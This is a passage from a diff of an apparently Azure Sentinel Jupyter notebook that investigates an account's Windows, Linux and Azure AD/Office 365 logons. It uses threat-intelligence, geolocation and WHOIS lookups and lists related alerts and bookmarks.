" return related_bkmark_df[related_bkmark_df[\"BookmarkId\"] == bookmark_id].T\n", + "\n", + "if related_bkmark_df is not None and not related_bkmark_df.empty:\n", + " display(Markdown(\"### Click on bookmark to view details.\"))\n", + " rel_bkmk_select = nbwidgets.SelectItem(\n", + " item_list=bookmarks,\n", + " action=disp_bookmark,\n", + " auto_display=True\n", + " )\n", + " " + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283999194 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "## Further Investigation\n", + "Depending on the type of account (AAD or Host/Endpoint account) we can drill deeper to look at data specific to that account type.\n", + "\n", + "This cell determines which section of the notebook is applicable to the account type." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "# Function definitions used below\n", + "# This cell should be executed before continuing further.\n", + "\n", + "# WHOIS lookup function\n", + "from functools import lru_cache\n", + "from ipwhois import IPWhois\n", + "from ipaddress import ip_address\n", + "\n", + "@lru_cache(maxsize=1024)\n", + "def get_whois_info(ip_lookup, show_progress=False):\n", + " try:\n", + " ip = ip_address(ip_lookup)\n", + " except ValueError:\n", + " return \"Not an IP Address\", {}\n", + " if ip.is_private:\n", + " return \"private address\", {}\n", + " if not ip.is_global:\n", + " return \"other address\", {}\n", + " whois = IPWhois(ip)\n", + " whois_result = whois.lookup_whois()\n", + " if show_progress:\n", + " print(\".\", end=\"\")\n", + " return whois_result[\"asn_description\"], whois_result\n", + "\n", + "\n", + "ti_lookup = TILookup()\n", + "def check_ip_ti(df, ip_col):\n", + "\n", + " ip4_rgx = r\"((?:[0-9]{1,3}\\.){3}[0-9]{1,3})\"\n", + " df = (df\n", + " .assign(IP_ext=lambda x: x[ip_col].str.extract(ip4_rgx, expand=False))\n", + " .rename(columns={ip_col: ip_col + \"_orig\"})\n", + " .rename(columns={\"IP_ext\": ip_col})\n", + " )\n", + " src_ip_addrs = (df[[ip_col]]\n", + " .dropna()\n", + " .drop_duplicates()\n", + " )\n", + " md(f\"Querying TI for {len(src_ip_addrs)} indicators...\")\n", + " ti_results = ti_lookup.lookup_iocs(data=src_ip_addrs, obs_col=ip_col)\n", + " ti_results = ti_results[ti_results[\"Severity\"].isin(['warning', 'high'])]\n", + "\n", + " ti_merged_df = df.merge(ti_results, how=\"left\", left_on=ip_col, right_on=\"Ioc\")\n", + " return ti_results, ti_merged_df, src_ip_addrs\n", + "\n", + "\n", + "geo_lookup = GeoLiteLookup()\n", + "def check_geo_whois(ip_df, df, ip_col):\n", + " \n", + " ip4_rgx = r\"((?:[0-9]{1,3}\\.){3}[0-9]{1,3})\"\n", + " df = (df\n", + " .assign(IP_ext=lambda x: x[ip_col].str.extract(ip4_rgx, expand=False))\n", + " .rename(columns={ip_col: ip_col + \"_orig\"})\n", + " .rename(columns={\"IP_ext\": ip_col})\n", + " )\n", + " md(f\"Querying geolocation for {len(ip_df)} ip addresses...\")\n", + " \n", + " geo_ips = geo_lookup.lookup_ip(ip_addr_list=list(ip_df[ip_col].values))\n", + " # TODO replace\n", + " ip_dicts = [{**ent.Location.properties, \"IpAddress\": ent.Address} for ent in geo_ips[1]]\n", + " df_out = pd.DataFrame(data=ip_dicts)\n", + " geo_df = df.merge(df_out, how=\"left\", left_on=ip_col, right_on=\"IpAddress\")\n", + "\n", + " md(f\"Querying WhoIs for {len(ip_df)} ip addresses...\")\n", + " whois_df = ip_df.copy()\n", + " # Get the WhoIs results\n", + " whois_df[[\"ASNDesc\", \"WhoisResult\"]] = (\n", + " ip_df\n", + " .apply(lambda x: get_whois_info(x[ip_col], show_progress=True),\n", + " axis=1, result_type=\"expand\"))\n", + " geo_whois_df = geo_df.merge(whois_df, how=\"left\", right_on=ip_col, left_on=ip_col)\n", + " return geo_whois_df\n", + "\n", + "# Based on the account type, advice the user where to go next.\n", + "\n", + "acct, source = selected_account(select_acct.value)\n", + "md(f\"Account '{acct}'. Source is '{source}'\", \"bold, large, blue\")\n", + "\n", + "goto = lambda x: display(Markdown(f\"### For further analysis go to {x}\"))\n", + "if source == \"LinuxHostLogon\":\n", + " goto(\"go to [LinuxHostLogon](#Linux-Host)\")\n", + "if source == \"WindowsHostLogon\":\n", + " goto(\"go to [WindowsHostLogon](#Windows-Host)\")\n", + "if source in [\"AADLogon\", \"AzureActivity\", \"O365Activity\"]:\n", + " goto(\"go to [AAD/Office Account](#AAD/Office-Account)\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618284002340 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "## Windows Host\n", + "For Windows accounts we look for the following types of data:\n", + "\n", + "- Logon Summary\n", + "- Threat Intelligence reports for logon source IP Address(es)\n", + "- Geo location and Whois lookup for logon source IP Address(es)\n", + "- Additional alerts for the hosts where the account had logged on\n", + "- Additional bookmarks for the hosts where the account had logged on" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "md(\"Fetching logon data...\")\n", + "ext_logon_status = \"| extend LogonStatus = iff(EventID == 4624, 'success', 'failed')\"\n", + "all_win_logons = (qry_prov.WindowsSecurity\n", + " .list_logon_attempts_by_account(**acct_query_params(),\n", + " add_query_items=ext_logon_status))\n", + "md(\"done\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283507428 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Host Logon Summary" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "logon_summary = (all_win_logons\n", + " .groupby(\"Computer\")\n", + " .agg(\n", + " TotalLogons=pd.NamedAgg(column=\"EventID\", aggfunc=\"count\"),\n", + " LogonResult=pd.NamedAgg(column=\"LogonStatus\", aggfunc=lambda x: x.value_counts().to_dict()),\n", + " IPAddresses=pd.NamedAgg(column=\"IpAddress\", aggfunc=lambda x: x.unique().tolist()),\n", + " LogonTypeCount=pd.NamedAgg(column=\"LogonType\", aggfunc=lambda x: x.value_counts().to_dict()),\n", + " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", + " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", + " )\n", + ")\n", + "\n", + "display(logon_summary)\n", + "if len(all_win_logons) > 1:\n", + " nbdisplay.display_timeline(\n", + " data=all_win_logons,\n", + " group_by=\"IpAddress\",\n", + " source_columns=[\"Computer\", \"LogonStatus\", \"LogonType\"],\n", + " title=\"Logons\"\n", + " )" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283596644 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Threat Intelligence for logon IP Addresses\n", + "
\n", + " TI Configuration\n", + "If you have not used msticpy threat intelligence lookups before you will need to supply API keys for the \n", + "TI Providers that you want to use. Please see the section on configuring [msticpyconfig.yaml](#msticpyconfig.yaml-configuration-File)\n", + "\n", + "Then reload provider settings:\n", + "```\n", + "mylookup = TILookup()\n", + "mylookup.reload_provider_settings()\n", + "```\n", + "
" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "ti_results, all_win_logons_ti, src_ip_addrs_win = check_ip_ti(df=all_win_logons, ip_col=\"IpAddress\")\n", + "if not ti_results.empty:\n", + " md(f\"{len(ti_results)} threat intelligence hits have been \"\n", + " + \"matched on one or more source IP addresses.\", \"bold, red, large\")\n", + " md(\" You should investigate the hosts accessed from these adddresses \"\n", + " + \"(see previous cell for host name accessed by IP Address)\"\n", + " + \"the 'Entity Explorer - Windows Host' notebook\", \"bold, red\" )\n", + " md(\"Logon details for TI matches are in the `all_win_logons_ti` DataFrame\")\n", + " display(ti_results)\n", + "else:\n", + " md(\"No additional items found for logged on hosts\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283661269 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Geolocation and ownership for source logon IP addresses\n", + "We use the source IP addresses for the activity to perform and Geo-location lookup and a WhoIs lookup to try to identify the IP address owner." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "# src_ip_addrs_win = all_win_logons[[\"IpAddress\"]].drop_duplicates()\n", + "all_win_logons_geo = check_geo_whois(src_ip_addrs_win, all_win_logons, \"IpAddress\")\n", + "md(\"Geolocations and ASN Owner for account logon source IP addresses. Information only\", \"bold\")\n", + "\n", + "if len(all_win_logons_geo) < 5:\n", + " display(all_win_logons_geo)\n", + "else:\n", + " display(\n", + " all_win_logons_geo[~all_win_logons_geo[\"CountryName\"].isna()]\n", + " .groupby([\"Computer\", \"IpAddress\", \"CountryCode\",\"CountryName\", \"City\", \"ASNDesc\"])\n", + " .agg(\n", + " TotalLogons=pd.NamedAgg(column=\"EventID\", aggfunc=\"count\"),\n", + " LogonResult=pd.NamedAgg(column=\"LogonStatus\", aggfunc=lambda x: x.value_counts().to_dict()),\n", + " LogonTypeCount=pd.NamedAgg(column=\"LogonType\", aggfunc=lambda x: x.value_counts().to_dict()),\n", + " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", + " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", + " )\n", + " )\n" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283944848 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Additional Alerts for logged-on hosts" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "related_host_alerts = []\n", + "for host in all_win_logons[\"Computer\"].unique():\n", + " host_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", + " start=acct_query_params()[\"start\"],\n", + " end=acct_query_params()[\"end\"],\n", + " host_name=host\n", + " )\n", + " related_host_alerts.append(host_alerts)\n", + " \n", + "related_host_alerts_df = pd.concat(related_host_alerts)\n", + "\n", + "# Show host alerts that were not in the Account alerts list\n", + "related_host_alerts_df = related_host_alerts_df[~related_host_alerts_df[\"SystemAlertId\"]\n", + " .isin(related_alerts[\"SystemAlertId\"])]\n", + "if not related_host_alerts_df.empty:\n", + " md(f\"{len(related_host_alerts_df)} additional alerts have been \"\n", + " + \"triggered on one or more hosts.\", \"bold, red, large\")\n", + " md(\" You should investigate these hosts using \"\n", + " + \"the 'Entity Explorer - Windows Host' notebook\", \"bold, red\" )\n", + " display(related_host_alerts_df)\n", + "else:\n", + " md(\"No additional alerts found\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283964263 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "#### Additional alerts for source IP addresses\n", + "We can also search for alerts that contain the IP addresses that were the origin of logons to the host." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "ip_list = \",\".join(list(all_win_logons[\"IpAddress\"].unique()))\n", + "related_ip_alerts_df = qry_prov.SecurityAlert.list_alerts_for_ip(\n", + " start=acct_query_params()[\"start\"],\n", + " end=acct_query_params()[\"end\"],\n", + " source_ip_list=ip_list\n", + ")\n", + "# remove Account and host alerts already seen\n", + "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", + " .isin(related_alerts[\"SystemAlertId\"])]\n", + "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", + " .isin(related_host_alerts_df[\"SystemAlertId\"])]\n", + "if not related_ip_alerts_df.empty:\n", + " md(f\"{len(related_ip_alerts_df)} additional alerts have been \"\n", + " + \"triggered from one or more source IPs.\", \"bold, red, large\")\n", + " md(\" You should investigate these IPs using \"\n", + " + \"the 'Entity Explorer - IP Address' notebook\", \"bold, red\" )\n", + " display(related_ip_alerts_df)\n", + "else:\n", + " md(\"No additional alerts found.\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283971097 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Additional Investigation Bookmarks for logged-on hosts" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "related_host_bkmks = []\n", + "for host in all_win_logons[\"Computer\"].unique():\n", + " host_bkmks = qry_prov.AzureSentinel.list_bookmarks_for_entity(\n", + " start=acct_query_params()[\"start\"],\n", + " end=acct_query_params()[\"end\"],\n", + " entity_id=f\"'{host}'\"\n", + " )\n", + " related_host_bkmks.append(host_bkmks)\n", + " \n", + "related_host_bkmks_df = pd.concat(related_host_bkmks)\n", + "\n", + "# Show host bookmarks that were not in the Account bookmarks list\n", + "related_host_bkmks_df = related_host_bkmks_df[~related_host_bkmks_df[\"BookmarkId\"]\n", + " .isin(related_bkmark_df[\"BookmarkId\"])]\n", + "if not related_host_bkmks_df.empty:\n", + " md(f\"{len(related_host_bkmks_df)} additional investigation bookmarks have been \"\n", + " + \"found for one or more hosts.\", \"bold, red, large\")\n", + " md(\" You should investigate these hosts using \"\n", + " + \"the 'Entity Explorer - Windows Host' notebook\", \"bold, red\" )\n", + " display(related_host_bkmks_df)\n", + "else:\n", + " md(\"No additional items found for logged on hosts\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618283975393 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "## Linux Host\n", + "For Linux accounts we look for the following types of data:\n", + "- Logon Summary\n", + "- Threat Intelligence reports for logon source IP Address(es)\n", + "- Geo location and Whois lookup for logon source IP Address(es)\n", + "- Additional alerts for the hosts where the account had logged on\n", + "- Additional bookmarks for the hosts where the account had logged on\n" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "md(\"Fetching logon data...\")\n", + "all_lx_logons = (qry_prov.LinuxSyslog\n", + " .list_logons_for_account(**acct_query_params()))\n", + "md(\"done\")" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "### Host Logon Summary" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "logon_summary = (all_lx_logons\n", + " .groupby(\"Computer\")\n", + " .agg(\n", + " TotalLogons=pd.NamedAgg(column=\"Computer\", aggfunc=\"count\"),\n", + " FailedLogons=pd.NamedAgg(column=\"LogonResult\", aggfunc=lambda x: x.value_counts().to_dict()),\n", + " IPAddresses=pd.NamedAgg(column=\"SourceIP\", aggfunc=lambda x: x.unique().tolist()),\n", + " LogonTypeCount=pd.NamedAgg(column=\"LogonType\", aggfunc=lambda x: x.value_counts().to_dict()),\n", + " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", + " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", + " )\n", + ")\n", + "\n", + "display(logon_summary)\n", + "nbdisplay.display_timeline(data=all_lx_logons,\n", + " group_by=\"SourceIP\",\n", + " source_columns=[\"Computer\", \"LogonResult\", \"LogonType\"],\n", + " title=\"Logons\");" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "### Threat Intelligence for logon IP Addresses\n", + "
\n", + " TI Configuration\n", + "If you have not used msticpy threat intelligence lookups before you will need to supply API keys for the \n", + "TI Providers that you want to use. Please see the section on configuring [msticpyconfig.yaml](#msticpyconfig.yaml-configuration-File)\n", + "\n", + "Then reload provider settings:\n", + "```\n", + "mylookup = TILookup()\n", + "mylookup.reload_provider_settings()\n", + "```\n", + "
" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "ti_results_lx, all_lx_logons_ti, src_ip_addrs_lx = check_ip_ti(df=all_lx_logons, ip_col=\"SourceIP\")\n", + "\n", + "if not ti_results_lx.empty:\n", + " md(f\"{len(ti_results_lx)} threat intelligence hits have been \"\n", + " + \"matched on one or more source IP addresses.\", \"bold, red, large\")\n", + " md(\" You should investigate these hosts accessed from these adddresses \"\n", + " + \"(see previous cell for host name accessed by IP Address)\"\n", + " + \"the 'Entity Explorer - Linux Host' notebook\", \"bold, red\" )\n", + " display(ti_results_lx)\n", + "else:\n", + " md(\"No additional items found for logged on hosts\")" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "### Geolocation and ownership for source logon IP addresses\n", + "We use the source IP addresses for the activity to perform and Geo-location lookup and a WhoIs lookup to try to identify the IP address owner." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "all_lx_logons_geo = check_geo_whois(src_ip_addrs_lx, all_lx_logons, \"SourceIP\")\n", + "\n", + "md(\"Geolocations and ASN Owner for account logon source IP addresses. Information only\", \"bold\")\n", + "\n", + "(all_lx_logons_geo[~all_lx_logons_geo[\"CountryName\"].isna()]\n", + " .groupby([\"Computer\", \"SourceIP\", \"CountryCode\",\"CountryName\", \"City\", \"ASNDesc\"])\n", + " .agg(\n", + " TotalLogons=pd.NamedAgg(column=\"SourceSystem\", aggfunc=\"count\"),\n", + " LogonResult=pd.NamedAgg(column=\"LogonResult\", aggfunc=lambda x: x.value_counts().to_dict()),\n", + " LogonTypeCount=pd.NamedAgg(column=\"LogonType\", aggfunc=lambda x: x.value_counts().to_dict()),\n", + " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", + " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", + " )\n", + ")" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "### Additional Alerts for logged-on hosts" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "related_host_alerts = []\n", + "for host in all_lx_logons[\"Computer\"].unique():\n", + " host_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", + " start=acct_query_params()[\"start\"],\n", + " end=acct_query_params()[\"end\"],\n", + " host_name=host\n", + " )\n", + " related_host_alerts.append(host_alerts)\n", + " \n", + "related_host_alerts_df = pd.concat(related_host_alerts)\n", + "\n", + "# Show host alerts that were not in the Account alerts list\n", + "related_host_alerts_df = related_host_alerts_df[~related_host_alerts_df[\"SystemAlertId\"]\n", + " .isin(related_alerts[\"SystemAlertId\"])]\n", + "if not related_host_alerts_df.empty:\n", + " md(f\"{len(related_host_alerts_df)} additional alerts have been \"\n", + " + \"triggered on one or more hosts.\", \"bold, red, large\")\n", + " md(\" You should investigate these hosts using \"\n", + " + \"the 'Entity Explorer - Linux Host' notebook\", \"bold, red\" )\n", + " display(related_host_alerts_df[['TenantId','TimeGenerated','AlertDisplayName','ConfidenceLevel','ConfidenceScore','Computer','ExtendedProperties','Entities']])\n", + "else:\n", + " md(\"No additional items found for logged on hosts\")" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "#### Additional alerts for source IP addresses\n", + "We can also search for alerts that contain the IP addresses that were the origin of logons to the host." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "ip_list = \",\".join(list(all_lx_logons[\"SourceIP\"].unique()))\n", + "related_ip_alerts_df = qry_prov.SecurityAlert.list_alerts_for_ip(\n", + " start=acct_query_params()[\"start\"],\n", + " end=acct_query_params()[\"end\"],\n", + " source_ip_list=ip_list\n", + ")\n", + "# remove Account and host alerts already seen\n", + "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", + " .isin(related_alerts[\"SystemAlertId\"])]\n", + "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", + " .isin(related_host_alerts_df[\"SystemAlertId\"])]\n", + "if not related_ip_alerts_df.empty:\n", + " md(f\"{len(related_ip_alerts_df)} additional alerts have been \"\n", + " + \"triggered from one or more source IPs.\", \"bold, red, large\")\n", + " md(\" You should investigate these IPs using \"\n", + " + \"the 'Entity Explorer - IP Address' notebook\", \"bold, red\" )\n", + " display(related_ip_alerts_df)\n", + "else:\n", + " md(\"No additional alerts found.\")" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "### Additional Investigation Bookmarks for logged-on hosts" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "related_host_bkmks = []\n", + "for host in all_lx_logons[\"Computer\"].unique():\n", + " host_bkmks = qry_prov.AzureSentinel.list_bookmarks_for_entity(\n", + " start=acct_query_params()[\"start\"],\n", + " end=acct_query_params()[\"end\"],\n", + " entity_id=host\n", + " )\n", + " related_host_bkmks.append(host_bkmks)\n", + " \n", + "related_host_bkmks_df = pd.concat(related_host_bkmks)\n", + "\n", + "# Show host bookmarks that were not in the Account bookmarks list\n", + "related_host_bkmks_df = related_host_bkmks_df[~related_host_bkmks_df[\"BookmarkId\"]\n", + " .isin(related_bkmark_df[\"BookmarkId\"])]\n", + "if not related_host_bkmks_df.empty:\n", + " md(f\"{len(related_host_bkmks_df)} additional investigation bookmarks have been \"\n", + " + \"found for one or more hosts.\", \"bold, red, large\")\n", + " md(\" You should investigate these hosts using \"\n", + " + \"the 'Entity Explorer - Windows Host' notebook\", \"bold, red\" )\n", + " display(related_host_bkmks_df)\n", + "else:\n", + " md(\"No additional items found for logged on hosts\")" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "## AAD/Office Account\n", + "For an Azure Active Directory account we look for the following data:\n", + "- AAD Sign-on activity\n", + "- Azure Activity\n", + "- Office 365 operations\n", + "- Threat intelligence reports for the client IP Address used in any of these activities\n", + "- Geo location and Whois lookup for logon source IP Address(es)\n", + "- Additional alerts for the logon source IP Address(es)" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "md(\"Fetching Azure/Office data...\")\n", + "# Fetch the data\n", + "aad_sum_qry = \"\"\"\n", + "| extend UserPrincipalName=tolower(UserPrincipalName)\n", + "| project-rename Operation=OperationName, AppResourceProvider=AppDisplayName\"\"\"\n", + "aad_signin_df = (qry_prov.Azure\n", + " .list_aad_signins_for_account(**acct_query_params(),\n", + " add_query_items=aad_sum_qry)\n", + " )\n", + "\n", + "az_sum_qry = \"\"\"\n", + "| extend UserPrincipalName=tolower(Caller)\n", + "| project-rename IPAddress=CallerIpAddress, Operation=OperationName,\n", + " AppResourceProvider=ResourceProvider\"\"\"\n", + "azure_activity_df = (qry_prov.Azure\n", + " .list_azure_activity_for_account(**acct_query_params(),\n", + " add_query_items=az_sum_qry)\n", + " )\n", + "\n", + "o365_sum_qry = \"\"\"\n", + "| extend UserPrincipalName=tolower(UserId)\n", + "| project-rename IPAddress=ClientIP, ResourceId=OfficeObjectId,\n", + " AppResourceProvider=OfficeWorkload\"\"\"\n", + "o365_activity_df = (qry_prov.Office365\n", + " .list_activity_for_account(**acct_query_params(),\n", + " add_query_items=o365_sum_qry)\n", + " )\n", + "md(\"done\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618284018457 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Azure/Office Summary" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "az_all_data = pd.concat([aad_signin_df, azure_activity_df, o365_activity_df], sort=False)\n", + "\n", + "nbdisplay.display_timeline(data=az_all_data,\n", + " group_by=\"AppResourceProvider\",\n", + " source_columns=[\"Operation\", \"IPAddress\", \"AppResourceProvider\"],\n", + " title=\"Azure Signin activity by Provider\")\n", + "nbdisplay.display_timeline(data=az_all_data,\n", + " group_by=\"IPAddress\",\n", + " source_columns=[\"Operation\", \"IPAddress\", \"AppResourceProvider\"],\n", + " title=\"Azure Operations by Source IP\")\n", + "nbdisplay.display_timeline(data=az_all_data,\n", + " group_by=\"Operation\",\n", + " source_columns=[\"Operation\", \"IPAddress\", \"AppResourceProvider\"],\n", + " title=\"Azure Operations by Operation\");" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618284024253 + } + } + }, + { + "cell_type": "code", + "source": [ + "(az_all_data\n", + ".groupby([\"UserPrincipalName\", \"Type\", \"IPAddress\", \"AppResourceProvider\", \"UserType\"])\n", + ".agg(\n", + " OperationCount=pd.NamedAgg(column=\"Type\", aggfunc=\"count\"),\n", + " OperationTypes=pd.NamedAgg(column=\"Operation\", aggfunc=lambda x: x.unique().tolist()),\n", + " Resources=pd.NamedAgg(column=\"ResourceId\", aggfunc=\"nunique\"),\n", + " FirstOperation=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", + " LastOperation=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", + " )\n", + ")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618284033327 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Threat Intelligence for IP Addresses\n", + "
\n", + " TI Configuration\n", + "If you have not used msticpy threat intelligence lookups before you will need to supply API keys for the \n", + "TI Providers that you want to use. Please see the section on configuring [msticpyconfig.yaml](#msticpyconfig.yaml-configuration-File)\n", + "\n", + "Then reload provider settings:\n", + "```\n", + "mylookup = TILookup()\n", + "mylookup.reload_provider_settings()\n", + "```\n", + "
" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "ti_results_az, all_az_ti, src_ip_addrs_az = check_ip_ti(df=az_all_data, ip_col=\"IPAddress\")\n", + "\n", + "if not ti_results_az.empty:\n", + " md(f\"{len(ti_results_az)} threat intelligence hits have been \"\n", + " + \"matched on one or more source IP addresses.\", \"bold, red, large\")\n", + " md(\" You should investigate these IP addresses using \"\n", + " + \"the 'Entity Explorer - IP Address' notebook\", \"bold, red\" )\n", + " display(ti_results_az)\n", + "else:\n", + " md(\"No additional items found\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618284060857 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Geolocation and ownership for source IP addresses\n", + "We use the source IP addresses for the activity to perform and Geo-location lookup and a WhoIs lookup to try to identify the IP address owner." + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "all_az_geo = check_geo_whois(src_ip_addrs_az.iloc[0:50], az_all_data, \"IPAddress\")\n", + "\n", + "md(\"Geolocations and ASN Owner for source IP addresses. Information only\", \"bold\")\n", + "\n", + "(all_az_geo[~all_az_geo[\"CountryName\"].isna()]\n", + " .groupby([\"UserPrincipalName\", \"IPAddress\", \"CountryCode\",\"CountryName\", \"City\", \"ASNDesc\"])\n", + " .agg(\n", + " TotalOperations=pd.NamedAgg(column=\"SourceSystem\", aggfunc=\"count\"),\n", + " Operations=pd.NamedAgg(column=\"Operation\", aggfunc=lambda x: x.value_counts().to_dict()),\n", + " AppResources=pd.NamedAgg(column=\"AppResourceProvider\", aggfunc=lambda x: x.unique().tolist()),\n", + " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", + " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", + " )\n", + ")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618284071548 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "### Additional alerts for source IP addresses" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "ip_list = \",\".join(list(src_ip_addrs_az[\"IPAddress\"].unique()))\n", + "related_ip_alerts_df = qry_prov.SecurityAlert.list_alerts_for_ip(\n", + " start=acct_query_params()[\"start\"],\n", + " end=acct_query_params()[\"end\"],\n", + " source_ip_list=ip_list\n", + ")\n", + "# remove Account and host alerts already seen\n", + "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", + " .isin(related_alerts[\"SystemAlertId\"])]\n", + "if not related_ip_alerts_df.empty:\n", + " md(f\"{len(related_ip_alerts_df)} additional alerts have been \"\n", + " + \"triggered from one or more source IPs.\", \"bold, red, large\")\n", + " md(\" You should investigate these IPs using \"\n", + " + \"the 'Entity Explorer - IP Address' notebook\", \"bold, red\" )\n", + " display(related_ip_alerts_df)\n", + "else:\n", + " md(\"No related alerts for source IPs found.\")" + ], + "outputs": [], + "execution_count": null, + "metadata": { + "gather": { + "logged": 1618284116044 + } + } + }, + { + "cell_type": "markdown", + "source": [ + "## Appendices" + ], + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "### Available DataFrames" + ], + "metadata": {} + }, + { + "cell_type": "code", + "source": [ + "print('List of current DataFrames in Notebook')\n", + "print('-' * 50)\n", + "current_vars = list(locals().keys())\n", + "for var_name in current_vars:\n", + " if isinstance(locals()[var_name], pd.DataFrame) and not var_name.startswith('_'):\n", + " print(var_name)" + ], + "outputs": [], + "execution_count": null, + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "### Saving data to Excel\n", + "To save the contents of a pandas DataFrame to an Excel spreadsheet\n", + "use the following syntax\n", + "```\n", + "writer = pd.ExcelWriter('myWorksheet.xlsx')\n", + "my_data_frame.to_excel(writer,'Sheet1')\n", + "writer.save()\n", + "```" + ], + "metadata": {} + }, + { + "cell_type": "markdown", + "source": [ + "## Configuration\n", + "\n", + "### `msticpyconfig.yaml` configuration File\n", + "You can configure primary and secondary TI providers and any required parameters in the `msticpyconfig.yaml` file. This is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", + "\n", + "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" + ], + "metadata": {} } - }, - "types_to_exclude": [ - "module", - "function", - "builtin_function_or_method", - "instance", - "_Feature" - ], - "window_display": false - } - }, - "nbformat": 4, - "nbformat_minor": 4 + ], + "metadata": { + "toc": { + "toc_position": { + "height": "calc(100% - 180px)", + "left": "10px", + "top": "150px", + "width": "512px" + }, + "skip_h1_title": true, + "number_sections": true, + "title_cell": "Contents", + "toc_window_display": true, + "base_numbering": 1, + "toc_section_display": true, + "title_sidebar": "Contents", + "toc_cell": true, + "nav_menu": {}, + "sideBar": true + }, + "hide_input": false, + "microsoft": { + "host": { + "AzureML": { + "notebookHasBeenCompleted": true + } + } + }, + 